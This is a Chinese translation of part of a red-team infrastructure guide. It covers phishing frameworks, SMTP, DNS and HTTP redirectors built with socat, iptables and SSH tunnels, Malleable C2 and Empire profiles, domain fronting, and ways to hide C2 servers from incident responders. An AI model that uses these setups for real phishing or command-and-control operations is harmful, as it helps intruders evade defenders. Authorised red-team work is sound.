* [Cobalt Strike Blog - What's the go-to phishing technique or exploit?](https://blog.cobaltstrike.com/2014/12/17/whats-the-go-to-phishing-technique-or-exploit/)
* [Spear phishing with Cobalt Strike - Raphael Mudge](https://www.youtube.com/watch?v=V7UJjVcq2Ao)
* [Advanced Threat Tactics (3 of 9) - Targeted Attacks - Raphael Mudge](https://www.youtube.com/watch?v=CxQfWtqpwRs)
### 3.3 网络钓鱼框架
除了搭建自己的网络钓鱼服务外，还有许多像`Cobalt
Strike`这种专用于电子邮件钓鱼的工具和框架。这篇文章不会详细介绍每个框架，但下面提供了一些参考资料：
#### 3.3.1 Gophish
* [Gophish Official Site](https://getgophish.com/)
* [Gophish GitHub Repo](https://github.com/gophish/gophish)
* [Gophish User Guide](https://www.gitbook.com/book/gophish/user-guide/details)
#### 3.3.2 Frenzy
* [Phishing Frenzy Official Site](https://www.phishingfrenzy.com/)
* [Phishing Frenzy GitHub Repo](https://github.com/pentestgeek/phishing-frenzy)
* [Introducing Phishing Frenzy - Brandon McCann (@zeknox)](https://www.pentestgeek.com/phishing/introducing-phishing-frenzy)
#### 3.3.3 Social-Engineer 工具包
* [The Social-Engineer Toolkit GitHub Repo](https://github.com/trustedsec/social-engineer-toolkit)
* [The Social-Engineer Toolkit User Manual](https://github.com/trustedsec/social-engineer-toolkit/raw/master/readme/User_Manual.pdf)
#### 3.3.4 FiercePhish (formerly FirePhish)
* [FiercePhish GitHub Repo](https://github.com/Raikia/FiercePhish)
* [FiercePhish Wiki](https://github.com/Raikia/FiercePhish/wiki)
## 四、转向器
### 4.1 SMTP 协议
“转向器(Redirector)”可能不是描述我们要实现此功能的最佳词语，但其目的与我们使用的其他重定向功能相同。
我们希望从最终的电子邮件头中删除钓鱼邮件的所有痕迹，并在受害者与我们的后端服务器之间提供缓冲区。 理想情况下`SMTP`转向器安装快速并易于停止。
**我们想要配置`SMTP`转向器来执行两个关键操作：**
#### 4.1.1 Sendmail 软件
##### 移除之前的服务器头
将以下行添加到结尾 `/etc/mail/sendmail.mc`:
define(`confRECEIVED_HEADER',`by $j ($v/$Z)$?r with $r$. id $i; $b')dnl
添加到结尾 `/etc/mail/access`:
IP-to-Team-Server *TAB* RELAY
Phish-Domain *TAB* RELAY
[Removing Sender’s IP Address From Email’s Received From
Header](https://www.devside.net/wamp-server/removing-senders-ip-address-from-emails-received-from-header)
[Removing Headers from Postfix setup](https://major.io/2013/04/14/remove-sensitive-information-from-email-headers-with-postfix/)
##### 配置一个通用地址
这会将会把收到的任何电子邮件转发到`*@phishdomain.com`到选定的电子邮件地址。这对于收到任何响应或反弹到钓鱼邮件非常有用。
echo PHISH-DOMAIN >> /etc/mail/local-host-names
在`/etc/mail/sendmail.mc`的`//Mailer Definitions//`（结尾处）之前添加以下行：
FEATURE(`virtusertable', `hash -o /etc/mail/virtusertable.db')dnl
将以下行添加到`/etc/mail/virtusertable`结尾:
@phishdomain.com external-relay-address
_注意：这两个字段应该以制表符(\t)分隔_
#### 4.1.2 Postfix 软件
`Postfix`提供了一个更容易替代`Sendmail`而且提供了更好的兼容性。
`Postfix`还为`Dovecot`提供全面的`IMAP`支持。这使得测试人员能够实时地与对原始消息做出响应的钓鱼攻击目标相对应，而不是依靠全部通讯地址，并且必须使用钓鱼工具创建新消息。
Julian
Catrambone's([@n0pe_sled](https://twitter.com/n0pe_sled))提供了一个设置`Postfix`邮件服务器进行网络钓鱼的完整指南[Mail
Servers Made Easy](https://blog.inspired-sec.com/archive/2017/02/14/Mail-Server-Setup.html)。
### 4.2 DNS 协议
注意：使用 C2 转向器时，应在你的后渗透框架中配置外部侦听器，以通过转向器域发送分段流量。 这会使受感染的主机像 C2 流量本身一样分段通过转向器。
#### 4.2.1 socat 之 DNS
`socat`可用于将端口 53 上的传入`DNS`数据包重定向到我们的团队服务器, 此方法很有效。目前，某些用户已为 `Cobalt Strike`
提出了这个功能issues需求。
由于来自 @xorrior 的测试，以下 socat 命令似乎很好用：
socat udp4-recvfrom:53,reuseaddr,fork udp4-sendto:<IPADDRESS>; echo -ne
[Redirecting Cobalt Strike DNS Beacons - Steve
Borosh](http://www.rvrsh3ll.net/blog/offensive/redirecting-cobalt-strike-dns-beacons/)
#### 4.2.2 iptables 之 DNS
`iptables`转发`DNS`规则已被发现可与`Cobalt Strike`配合使用。 貌似`socat`暂时还处理不了这类流量的问题(NAT穿透)。
下面是一个`DNS`转向器规则集示例:
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination <IP-GOES-HERE>:53
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1
另外，将“FORWARD”链策略更改为“ACCEPT”。
#### DNS重定向也可以在NAT后面完成
有时候可能需要在内部网络上托管`C2`服务器。 使用`iptables`、`socat`和反向`SSH`隧道的组合，我们可以通过以下方式实现这一点。
在这种情况下，我们使用`iptables`转发所有`DNS`流量。
接下来，我们创建一个从我们的内部`C2`服务器到我们的主转向器的`SSH`反向端口转发隧道。 这会将主转向器在端口 6667 上接收的任何流量转发到端口
6667 上的内部`C2`服务器。现在，启动服务器上的`socat`将端口 6667 上的任何传入TCP流量分流到 UDP 端口 53 ，这就是我们的
DNS C2 需要监听。 最后，我们在主转向器上同样设置一个`socat`实例，将任何传入的 UDP 端口 53 流量重定向到端口 6667
上的SSH隧道。
### 4.3 HTTP(S) 协议
#### 4.3.1 socat 与 mod_rewrite
`socat`提供了`dumb
pipe`重定向，在指定的源接口/port上接收到的任何请求都会被重定向到目标IP/port，但`socat`没有过滤或设置条件的功能。
`Apache`的`mod_rewrite`模块提供了许多方法来加强钓鱼攻击并增强测试基础架构的弹性。
`mod_rewrite`能够根据请求属性（如URI、User-Agent、请求参数、操作系统和IP）执行条件重定向。`Apache`的`mod_rewrite`使用`htaccess`文件来配置`Apache`应该如何处理每个传入请求的规则集。
例如:使用这些规则，你可以使用默认`wget`的`User-Agent`请求重定向到你的服务器，从而将其转到目标网站上的合法页面。
简而言之，如果你的转向器(redirector)需要执行条件重定向或高级过滤，请使用`Apache`的`mod_rewrite`。
也可使用`socat`重定向并`iptables`过滤。
#### 4.3.2 socat 之 HTTP
`socat`可用于将指定端口上的任何传入 TCP 数据包重定向到你的服务器。将`localhost`上的 TCP 端口 80 重定向到另一台主机上的端口
80 的基本语法是：
socat TCP4-LISTEN:80,fork TCP4:<REMOTE-HOST-IP-ADDRESS>:80
如果你的转向器配置了多个网络接口，则可以使用以下语法通过IP地址将`socat`绑定到特定接口：
socat TCP4-LISTEN:80,bind=10.0.0.2,fork TCP4:1.2.3.4:80
在本例中`10.0.0.2`是转向器的本地 IP 中的一个，`1.2.3.4`是远程组服务器的 IP 地址。
#### 4.3.3 iptables 之 HTTP
除了`socat`, `iptables`可以通过 NAT 执行`dumb pipe`重定向。 要将转向器的本地端口80转发到远程主机，配置命令如下：
iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination <REMOTE-HOST-IP-ADDRESS>:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1
#### 4.3.4 SSH 之 HTTP
我们之前已经介绍过使用`SSH`进行`DNS`隧道。 `SSH`作为一种坚实可靠的方式来突破`NAT`并获得种植体连接转向器和服务器环境的方式。
首先，你必须设置`GatewayPorts`转发，否则将无法正常使用：
nano /etc/ssh/sshd_config
add
GatewayPorts yes
要将转向器的本地端口 80 转发到你的内部服务器，命令如下：
tmux new -S redir80
ssh <redirector> -R *:80:localhost:80
Ctrl+B, D
译者注：上面的命令第一和第三条非必须，这里作者使用`tmux`进行 Session 保持，`tmux new -S redir80`使用`tmux`开启一个
shell， `Ctrl+B, D`隐藏`tmux`操作界面, 使用`tmux ls`显示 Seesion。_
你也可以转发多个端口，例如：如果希望 443 和 80 一次全部打开：
tmux new -S redir80443
ssh <redirector> -R *:80:localhost:80 -R *:443:localhost:443
Ctrl+B, D
#### 4.3.5 Payloads 与 Web 重定向
当我们的`Payloads`(服务)和网络资源开启时，我们希望降低被检测到的风险，同时希望无论是建立`C2`还是收集信息`payload`都能被高效的执行。
下面是 Jeff Dimmock 关于`Apache`的`mod_rewrite`的用法和示例：
* [Strengthen Your Phishing with Apache mod_rewrite](https://bluescreenofjeff.com/2016-03-22-strengthen-your-phishing-with-apache-mod_rewrite-and-mobile-user-redirection/)
* [Invalid URI Redirection with Apache mod_rewrite](https://bluescreenofjeff.com/2016-03-29-invalid-uri-redirection-with-apache-mod_rewrite/)
* [Operating System Based Redirection with Apache mod_rewrite](https://bluescreenofjeff.com/2016-04-05-operating-system-based-redirection-with-apache-mod_rewrite/)
* [Combatting Incident Responders with Apache mod_rewrite](https://bluescreenofjeff.com/2016-04-12-combatting-incident-responders-with-apache-mod_rewrite/)
* [Expire Phishing Links with Apache RewriteMap](https://bluescreenofjeff.com/2016-04-19-expire-phishing-links-with-apache-rewritemap/)
* [Apache mod_rewrite Grab Bag](https://bluescreenofjeff.com/2016-12-23-apache_mod_rewrite_grab_bag/)
* [Serving Random Payloads with Apache mod_rewrite](https://bluescreenofjeff.com/2017-06-13-serving-random-payloads-with-apache-mod_rewrite/)
其他`Apache`的`mod_rewrite`的用法和示例：
* [mod_rewrite rule to evade vendor sandboxes from Jason Lang @curi0usjack](https://gist.github.com/curi0usJack/971385e8334e189d93a6cb4671238b10)
* [Serving random payloads with NGINX - Gist by jivoi](https://gist.github.com/jivoi/a33ace2e25515a31aa2ffbae246d98c9)
要在服务器上自动设置`Apache`的`mod_rewrite`重定向器，请查看 Julain Catrambone's（[@
n0pe_sled](https://twitter.com/n0pe_sled)) 博客文章[Mod_Rewrite Automatic
Setup](https://blog.inspired-sec.com/archive/2017/04/17/Mod-Rewrite-Automatic-Setup.html) 和 [accompanying tool](https://github.com/n0pe-sled/Apache2-Mod-Rewrite-Setup)。
#### 4.3.6 C2 重定向
重定向 C2 流量的意图有两方面：隐藏后端服务器；蒙蔽相关的调查者，让他们以为这是个合法网站。
通过使用`Apache`的`mod_rewrite`和[自定义C2配置文件](＃modification-c2-traffic)或其他代理（比如使用Flask），我们可以高效的过滤出来自调查
C2 的真实流量。
* [Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite - Jeff Dimmock](https://bluescreenofjeff.com/2016-06-28-cobalt-strike-http-c2-redirectors-with-apache-mod_rewrite/)
* [Securing your Empire C2 with Apache mod_rewrite - Gabriel Mathenge (@_theVIVI)](https://thevivi.net/2017/11/03/securing-your-empire-c2-with-apache-mod_rewrite/)
* [Expand Your Horizon Red Team – Modern SAAS C2 - Alex Rymdeko-Harvey (@killswitch-gui)](https://cybersyndicates.com/2017/04/expand-your-horizon-red-team/)
* [Hybrid Cobalt Strike Redirectors](https://zachgrace.com/2018/02/20/cobalt_strike_redirectors.html) \- [Zach Grace (@ztgrace)](https://twitter.com/ztgrace) and [@m0ther_](https://twitter.com/m0ther_)
##### C2 使用 HTTPS 重定向
基于上述
“C2重定向”，另一种方法是可以在重定向服务器使用`Apache`的`SSL`代理引擎来接受入站`SSL`请求，并将这些请求代理到`HTTPS`反向侦听器上。
整个阶段使用加密，你可以根据需要在转向器上转发`SSL`证书。
假如你已经使用了LetsEncrypt（aka CertBot），为了使你的`mod_rewrite`规则能够工作，你需要在
**“/etc/apache2/sites-available/000-default-le-ssl.conf”** 安装配置你的证书。
另外，要启用`SSL ProxyPass`引擎，相关配置如下：
# Enable the Proxy Engine
SSLProxyEngine On
# Tell the Proxy Engine where to forward your requests
ProxyPass / https://DESTINATION_C2_URL:443/
ProxyPassReverse / https://DESTINATION_C2_URL:443/
# Disable Cert checking, useful if you're using a self-signed cert
SSLProxyCheckPeerCN off
SSLProxyCheckPeerName off
SSLProxyCheckPeerExpire off
#### 4.3.7 其他 Apache mod_rewrite 资源
* [Automating Apache mod_rewrite and Cobalt Strike Profiles](https://posts.specterops.io/automating-apache-mod-rewrite-and-cobalt-strike-malleable-c2-profiles-d45266ca642)
* [mod-rewrite-cheatsheet.com](http://mod-rewrite-cheatsheet.com/)
* [Official Apache 2.4 mod_rewrite Documentation](http://httpd.apache.org/docs/current/rewrite/)
* [Apache mod_rewrite Introduction](https://httpd.apache.org/docs/2.4/en/rewrite/intro.html)
* [An In-Depth Guide to mod_rewrite for Apache](http://code.tutsplus.com/tutorials/an-in-depth-guide-to-mod_rewrite-for-apache--net-6708)
* [Mod_Rewrite/.htaccess Syntax Checker](http://www.htaccesscheck.com/)
## 五、修改 C2 流量
### 5.1 Cobalt Strike
`Cobalt Strike`通过`Malleable C2`配置文件修改其流量。
配置文件提供了高度可定制的选项，用于修改服务器的`C2`流量在线路上的形式。 `Malleable
C2`配置文件可增加强事件响应的规避，使用的合法内部应用程序冒充已知对手或伪装目标。
* [Malleable C2 Profiles - GitHub](https://github.com/rsmudge/Malleable-C2-Profiles)
* [Malleable Command and Control Documentation - cobaltstrike.com](https://www.cobaltstrike.com/help-malleable-c2)
* [Cobalt Strike 2.0 - Malleable Command and Control - Raphael Mudge](http://blog.cobaltstrike.com/2014/07/16/malleable-command-and-control/)
* [Cobalt Strike 3.6 - A Path for Privilege Escalation - Raphael Mudge](http://blog.cobaltstrike.com/2016/12/08/cobalt-strike-3-6-a-path-for-privilege-escalation/)
* [A Brave New World: Malleable C2 - Will Schroeder (@harmj0y)](http://www.harmj0y.net/blog/redteaming/a-brave-new-world-malleable-c2/)
* [How to Write Malleable C2 Profiles for Cobalt Strike - Jeff Dimmock](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/)
### 5.2 Empire
`Empire`可以用使用`Communication Profile`定制配置，它可以提供对 URI、User-Agent、Header定制选项。
profile 文件由每个由管道符(|)分隔元素，并使用`listeners`上下文菜单中的`set DefaultProfile`进行设置。
以下是一个示例 Profile：
"/CWoNaJLBo/VTNeWw11212/|Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)|Accept:image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*|Accept-Language:en-en"
`DefaultProfile`的值可以通过`Empire`的初始化之前修改`/setup/setup_database.py`来设置。除通过`Communication
Profile`之外，你可以考虑按照Joe
Vest's([@joevest](https://twitter.com/joevest))发布的步骤定制`Empire`服务器的
URI、服务器头和默认网页内容[Empire - Modifying Server C2
Indicators](http://threatexpress.com/2017/05/empire-modifying-server-c2-indicators/)。
* [Default Empire Communication Profiles (in Empire GitHub repo)](https://github.com/EmpireProject/Empire/tree/master/data/profiles)
* [How to Make Communication Profiles for Empire - Jeff Dimmock](https://bluescreenofjeff.com/2017-03-01-how-to-make-communication-profiles-for-empire/)
## 六、第三方 C2 频道
自己创建一个可信的合法化的 Web
服务用于`C2`，这需要你有足够的相关知识储备，而且使用的技术越来越复杂，运维管理的时间也越来越高。这里介绍一种利用第三方服务`Domain
Fronting`进行`C2`重定向。
### 6.1 Domain Fronting
`Domain Fronting`是一种被审查制度规避服务和应用程序用于通过合法和高度信任的域进行流量传输的技术。 支持`Domain
Fronting`的热门服务包括[Google App
Engine](https://cloud.google.com/appengine/)、[Amazon
CloudFront](https://aws.amazon.com/cloudfront/)和[Microsoft
Azure](https://azure.microsoft.com/)。 简而言之，流量使用受信任的服务提供商的`DNS`和`SNI`名称。拿
Google
举一个例子，当边缘服务器接收到流量时（例如：位于gmail.com）数据将被转发到数据包的主机头中指定的原始服务器（例如：phish.appspot.com），根据服务提供商的不同，原始服务器会直接将流量转发到指定的域，这里可以是我们的(C2)服务器或者使用代理应用来执行最终跳转。
有关`Domain Fronting`工作原理的更多详细信息，请参阅白皮书[Blocking-resistant communication through
domain fronting](https://www.bamsoftware.com/papers/fronting/)和TOR项目[meek
documentation](https://trac.torproject.org/projects/tor/wiki/doc/meek)。除了标准的
frontable 域名（如任何google.com域名）之外，还可以利用其他合法域名作为前端。
有关前沿领域的更多信息，请查看：
* [Domain Fronting via Cloudfront Alternate Domains - Vincent Yiu (@vysecurity)](https://www.mdsec.co.uk/2017/02/domain-fronting-via-cloudfront-alternate-domains/)
* [Finding Domain frontable Azure domains - thoth / Fionnbharr (@a_profligate)](https://theobsidiantower.com/2017/07/24/d0a7cfceedc42bdf3a36f2926bd52863ef28befc.html)
* [Google Groups: Blog post on finding 2000+ Azure domains using Censys](https://groups.google.com/forum/#!topic/traffic-obf/7ygIXCPebwQ)
* [FindFrontableDomains tool - Steve Borosh (@rvrsh3ll)](https://github.com/rvrsh3ll/FindFrontableDomains)
#### 关于 Domain Fronting 更多资讯
* [Simplifying Domain Fronting - Tim Malcomvetter (@malcomvetter)](https://medium.com/@malcomvetter/simplifying-domain-fronting-8d23dcb694a0)
* [High-reputation Redirectors and Domain Fronting - Raphael Mudge](https://blog.cobaltstrike.com/2017/02/06/high-reputation-redirectors-and-domain-fronting/)
* [Empire Domain Fronting - Chris Ross (@xorrior)](https://www.xorrior.com/Empire-Domain-Fronting/)
* [Escape and Evasion Egressing Restricted Networks - Tom Steele (@_tomsteele) and Chris Patten](https://www.optiv.com/blog/escape-and-evasion-egressing-restricted-networks)
* [Red Team Insights on HTTPS Domain Fronting Google Hosts Using Cobalt Strike](https://www.cyberark.com/threat-research-blog/red-team-insights-https-domain-fronting-google-hosts-using-cobalt-strike/) \- [Will Vandevanter and Shay Nahari of CyberArk](https://www.cyberark.com)
* [SSL Domain Fronting 101 - Steve Borosh (@424f424f)](http://www.rvrsh3ll.net/blog/offensive/ssl-domain-fronting-101/)
* [How I Identified 93k Domain-Frontable CloudFront Domains - Chris Myers (@SWIZZLEZ_) and Barrett Adams (@PEEWPW)](https://www.peew.pw/blog/2018/2/22/how-i-identified-93k-domain-frontable-cloudfront-domains)
* [Domain Fronting: Who Am I? - Vincent Yiu (@vysecurity)](https://medium.com/@vysec.private/domain-fronting-who-am-i-3c982ccd52e6)
* [Validated CloudFront SSL Domains - Vincent Yiu (@vysecurity)](https://medium.com/@vysec.private/validated-cloudfront-ssl-domains-27895822cea3)
* [CloudFront Hijacking](https://www.mindpointgroup.com/blog/pen-test/cloudfront-hijacking/) \- [Matt Westfall (@disloops)](https://twitter.com/disloops)
* [CloudFrunt GitHub Repo](https://github.com/MindPointGroup/cloudfrunt) \- [MindPointGroup](https://github.com/MindPointGroup)
* [Metasploit Domain Fronting With Microsoft Azure (@ch1gg1ns)](https://chigstuff.com/blog/metasploit-domain-fronting-with-microsoft-azure/)
### 6.2 PaaS 转向器
许多`PaaS`和`SaaS`提供商为应用实例提供了一个静态子域或 URL 的功能。
如果此服务商的域是高度可信的，则可购买的此域的`VPS`为您的`C2`基础架构提供服务。
要设置重定向，您需要确定将静态子域或URL作为实例的服务一部分发布。 然后，实例将需要使用网络或基于应用程序的重定向进行配置。
该实例将充当代理，之后与此文与上讨论的其他转向器类似。
根据服务的具体实施可能会有很大差异; 然而，对于使用Heroku的示例，请查看[Alex Rymdeko-Harvey
(@Killswitch_GUI)](https://twitter.com/Killswitch_GUI)博客文章[Expand Your Horizon
Red Team – Modern SaaS C2](https://cybersyndicates.com/2017/04/expand-your-horizon-red-team/)。
另一个值得进一步研究的有趣技术是使用`Amazon S3`的 buckets 存储用于`C2`。 可查看[Andrew Luke
(@Sw4mp_f0x)](https://twitter.com/Sw4mp_f0x)）的帖子 [S3 Buckets for Good and
Evil](https://pentestarmoury.com/2017/07/19/s3-buckets-for-good-and-evil/)）。
这种技术可以与`Empire`的第三方`C2`功能结合使用。
### 6.3 其他第三方 C2
过去，一些第三方服务已经被利用于`C2`(译者注：如dropbox.com、pastebin.com)。
这种方式是利用允许用户快速发布或修改内容来帮助你逃避基于信用检测的监控系统，尤其是在第三方网站普遍受到信任的情况下。
查看其他第三方C2选项的资源：
* [A stealthy Python based Windows backdoor that uses Github as a C&C server](http://securityblog.gr/4434/a-stealthy-python-based-windows-backdoor-that-uses-github-as-a-cc-server/) \- [maldevel at securityblog.gr](http://securityblog.gr/author/gkarpouzas/)
* [External C2 (Third-Party Command and Control) - Cobalt Strike Documentation](https://www.cobaltstrike.com/help-externalc2)
* [Cobalt Strike over external C2 – beacon home in the most obscure ways](https://outflank.nl/blog/2017/09/17/blogpost-cobalt-strike-over-external-c2-beacon-home-in-the-most-obscure-ways/) \- [Mark Bergman at outflank.nl](https://outflank.nl/blog/author/mark/)
* [“Tasking” Office 365 for Cobalt Strike C2](https://labs.mwrinfosecurity.com/blog/tasking-office-365-for-cobalt-strike-c2) \- [William Knowles (@william_knows)](https://twitter.com/william_knows)
* [External C2 for Cobalt Strike](https://github.com/ryhanson/ExternalC2/) \- [Ryan Hanson (@ryhanson)](https://twitter.com/ryhanson)
* [External C2 framework for Cobalt Strike](http://www.insomniacsecurity.com/2018/01/11/externalc2.html) \- [Jonathan Echavarria (@Und3rf10w)](https://twitter.com/und3rf10w)
* [External C2 framework (GitHub Repo)](https://github.com/Und3rf10w/external_c2_framework) \- [Jonathan Echavarria (@Und3rf10w)](https://twitter.com/und3rf10w)
* [Hiding in the Cloud: Cobalt Strike Beacon C2 using Amazon APIs](https://rhinosecuritylabs.com/aws/hiding-cloudcobalt-strike-beacon-c2-using-amazon-apis/) \- [Rhino Security Labs](https://rhinosecuritylabs.com)
* [Exploring Cobalt Strike's ExternalC2 framework](https://blog.xpnsec.com/exploring-cobalt-strikes-externalc2-framework/) \- [Adam (@ _xpn_ )](https://twitter.com/_xpn_)
## 七、隐蔽基础设施
用来攻击的基础架构通常易于识别，要让它看起来想一个合法的服务器，我们需要采取一些措施来增强与目标组织或目标可能使用的服务之间的迷惑性。
转向器(Redirectors)可以通过[redirecting invalid
URIs](https://bluescreenofjeff.com/2016-03-29-invalid-uri-redirection-with-apache-mod_rewrite/)、[expiring phishing payload
links](https://bluescreenofjeff.com/2016-04-19-expire-phishing-links-with-apache-rewritemap/)或[blocking common incident responder
techniques](https://bluescreenofjeff.com/2016-04-12-combatting-incident-responders-with-apache-mod_rewrite/); 但是，还应该注意潜在的主机及其指标。
例如，在[Fall of an Empire](http://securesql.info/hacks/2017/4/5/fall-of-an-empire)文章中 John
Menerick（[@Lord_SQL](https://twitter.com/Lord_SQL)）罗列了在互联网上检测`Empire`服务器的方法。为了对抗这些容易被识别的指标，最好的办法就是采用修改`C2`流量模式(见本文“修改
C2 流量”部分)，修改服务器入口页面、限制打开的端口并修改默认的响应头。
有关如何为多种攻击框架执行这些和其他策略的更多详细信息，请查看这些帖子： _[Empire – Modifying Server C2
Indicators](http://threatexpress.com/2017/05/empire-modifying-server-c2-indicators/) \- [Andrew Chiles](https://twitter.com/andrewchiles) _
[Hunting Red Team Empire C2
Infrastructure](http://www.chokepoint.net/2017/04/hunting-red-team-empire-c2.html) \- [chokepoint.net](http://www.chokepoint.net/) _[Hunting Red
Team Meterpreter C2 Infrastructure](http://www.chokepoint.net/2017/04/hunting-red-team-meterpreter-c2.html) \- [chokepoint.net](http://www.chokepoint.net/)
_ [Identifying Empire HTTP Listeners (Tenable
Blog)](https://www.tenable.com/blog/identifying-empire-http-listeners) \-[Jacob Baines](https://www.tenable.com/profile/jacob-baines)
## 八、保护基础设施
攻击基础架构也可能会受到与任何其他联网主机相同的攻击，并且由于正在使用的数据和连接到目标环境中，这些都被视为高度敏感的。
在2016年，远程代码执行漏洞被披露在最常见的攻击工具上：
* [2016 Metasploit RCE Static Key Deserialization](https://github.com/justinsteven/advisories/blob/master/2016_metasploit_rce_static_key_deserialization.md)
* [2017 Metasploit Meterpreter Dir Traversal Bugs](https://github.com/justinsteven/advisories/blob/master/2017_metasploit_meterpreter_dir_traversal_bugs.md)
* [Empire Fails - Will Schroeder](http://www.harmj0y.net/blog/empire/empire-fails/)
* [Cobalt Strike 3.5.1 Important Security Update - Raphael Mudge](http://blog.cobaltstrike.com/2016/10/03/cobalt-strike-3-5-1-important-security-update/)
**iptables**
应该用于过滤不需要的流量并限制所需基础架构模块之间的流量。 例如，如果`Cobalt
Strike`服务器仅将资产提供给`Apache`转向器，那么`iptables`规则应该只允许来自转向器源`IP`的 80 端口。
这对于任何运维管理都尤为重要，如`SSH`或`Cobalt Strike`的默认端口50050 还要考虑阻止非目标国家 IP。 作为替代，请考虑使用由
VPS 提供商提供的管理程序防火墙。 如：Digital Ocean提供可以保护一个或多个资产的 [Cloud
Firewalls](https://www.digitalocean.com/community/tutorials/an-introduction-to-digitalocean-cloud-firewalls)云防护。
**chattr**
可以在团队服务器上使用，以防止修改`cron`目录。 使用`chattr`你可以限制任何用户（包括root）在修改文件之前删除`chattr`属性。
**SSH**
应仅限于公钥认证，并配置为使用受限权限的用户进行初始登录。 为了增加安全性，请考虑将双因子验证添加到 SSH。
**更新升级**
定期更新系统升级漏洞补丁也是非常重要的。
当然，这份清单并不详尽，你可以做什么来保护团队服务器。 可参考下面的常见强化实践：
* [Red Hat Enterprise Linux 6 Security Guide](https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/pdf/Security_Guide/Red_Hat_Enterprise_Linux-6-Security_Guide-en-US.pdf)
* [Debian Documentation on Hardening](https://wiki.debian.org/Hardening)
* [Securing Debian Manual](https://www.debian.org/doc/manuals/securing-debian-howto/)
* [20 Linux Server Hardening Security Tips - nixCraft](https://www.cyberciti.biz/tips/linux-security.html)
* [SANS Linux Security Checklists](https://www.sans.org/score/checklists/linux)
* [Docker Your Command & Control (C2)](https://blog.obscuritylabs.com/docker-command-controll-c2/) \- [Alex Rymdeko-Harvey (@killswitch_gui)](https://twitter.com/killswitch_gui)
### 特定的加固资源
网上有许多可用的资源来讨论基础设施的安全配置和设计。 并非每种设计考虑都适合每种攻击基础架构，但了解可用选项和其他测试人员正在做什么很有用。
以下是其中一些资源：
* [Responsible Red Teams - Tim MalcomVetter (@malcomvetter)](https://medium.com/@malcomvetter/responsible-red-teams-1c6209fd43cc)
* [Safe Red Team Infrastructure - Tim MalcomVetter (@malcomvetter)](https://medium.com/@malcomvetter/safe-red-team-infrastructure-c5d6a0f13fac)
* [Red Team Infrastructure - AWS Encrypted EBS - @_rastamouse](https://rastamouse.me/2018/02/red-team-infrastructure---aws-encrypted-ebs/)
## 九、自动部署
本文所讲的红队基础设施建设，真正建设时这需要耗费大量的时间来设计和实施。 而自动化可用于大大缩短部署时间，使你能够在更短的时间内部署更复杂的设置。
查看有关攻击基础架构自动化的这些资源:
* [Automated Red Team Infrastructure Deployment with Terraform - Part 1](https://rastamouse.me/2017/08/automated-red-team-infrastructure-deployment-with-terraform---part-1/) \- [@_RastaMouse](https://twitter.com/_RastaMouse)
* [Automated Red Team Infrastructure Deployment with Terraform - Part 2](https://rastamouse.me/2017/09/automated-red-team-infrastructure-deployment-with-terraform---part-2/) \- [@_RastaMouse](https://twitter.com/_RastaMouse)
* [Mod_Rewrite Automatic Setup](https://blog.inspired-sec.com/archive/2017/04/17/Mod-Rewrite-Automatic-Setup.html) \- [Julian Catrambone (@n0pe_sled)](https://twitter.com/n0pe_sled)
* [Automated Empire Infrastructure](https://bneg.io/2017/11/06/automated-empire-infrastructure/) \- [Jeremy Johnson (@beyondnegative)](https://twitter.com/beyondnegative)
* [RTOps: Automating Redirector Deployment With Ansible](http://threat.tevora.com/automating-redirector-deployment-with-ansible/) \- [Kevin Dick](http://threat.tevora.com/author/e0x70i/)
* [Automating Gophish Releases With Ansible and Docker](https://jordan-wright.com/blog/post/2018-02-04-automating-gophish-releases/) \- [Jordan Wright (@jw_sec)](https://twitter.com/jw_sec)
* [Red Baron GitHub Repo](https://github.com/Coalfire-Research/Red-Baron) \- [Marcello (@byt3bl33d3r)](https://twitter.com/byt3bl33d3r)
* [Automating Apache mod_rewrite and Cobalt Strike Malleable C2 for Intelligent Redirection](http://threatexpress.com/2018/02/automating-cobalt-strike-profiles-apache-mod_rewrite-htaccess-files-intelligent-c2-redirection/) \- [Joe Vest (@joevest)](https://twitter.com/joevest)
## 十、提示&建议
* **记录一切** \- 运行复杂的红色团队基础设施意味着许多移动部件, 务必记录每项资产的功能以及其流量的发送位置。
* **在不同服务提供商和地区之间分割资产** \- 基础设施资产应分布在多个服务提供商和地理区域。 蓝队成员可能会针对被确认为主动攻击的提供商提高监控门槛，甚至可能彻底阻止给定的服务提供商。 注意：如果跨边界发送加密或敏感数据，请记住国际隐私法。
* **不要过度设计** \- 人们很容易对先进技术感到兴奋，并想把一切都应用到目标上。 如果你正在模拟特定的敌对威胁，只能假扮利用真正的威胁使用的技术或技能。 如果你的红队会长期攻击同一目标，在你的评估中应该考虑“简单”的通过更先进的谍报工作。 红队应该循序渐进的推动蓝队向前发展，而不是将所有火力开到最大来攻击蓝队，这可能会打垮蓝队并延缓蓝队学习与向前发展的进程。
* **监控日志** \- 在整个参与过程中应监视所有日志：SMTP日志、Apache日志、socat转向器上的tcpdump、iptables日志（特定于流量转发或目标过滤）、weblogs、Cobalt Strike/Empire/MSF日志。 将日志转发到日志服务器，例如[rsyslog](https://bluescreenofjeff.com/2017-08-08-attack-infrastructure-log-aggregation-and-monitoring/)，以便于监控。 操作员终端数据保留可能会在操作过程中用于检查历史命令的使用情况。 @Killswitch_GUI 创建了一个名为 [lTerm](https://github.com/killswitch-GUI/lterm) 的易于使用的程序，它将所有 bash 终端命令记录到一个中心位置。 [Log all terminal output with lTerm](https://github.com/killswitch-GUI/lterm)
